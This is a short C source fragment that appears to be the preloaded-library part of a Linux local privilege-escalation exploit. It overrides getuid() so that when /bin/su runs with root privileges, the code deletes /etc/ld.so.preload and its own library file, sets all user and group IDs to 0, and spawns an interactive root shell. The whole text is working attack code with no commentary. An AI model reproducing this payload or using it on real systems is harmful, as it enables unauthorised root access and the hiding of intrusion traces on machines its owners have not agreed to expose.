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#include <unistd.h>
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uid_t(*_real_getuid) (void);
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char path[128];
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uid_t getuid(void){
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  _real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
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  readlink("/proc/self/exe", (char *) &path, 128);
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  if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
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    unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
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    setresuid(0, 0, 0);
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    setresgid(0, 0, 0);
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    execle("/bin/sh", "sh", "-i", NULL, NULL);
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  }
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  return _real_getuid();
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}
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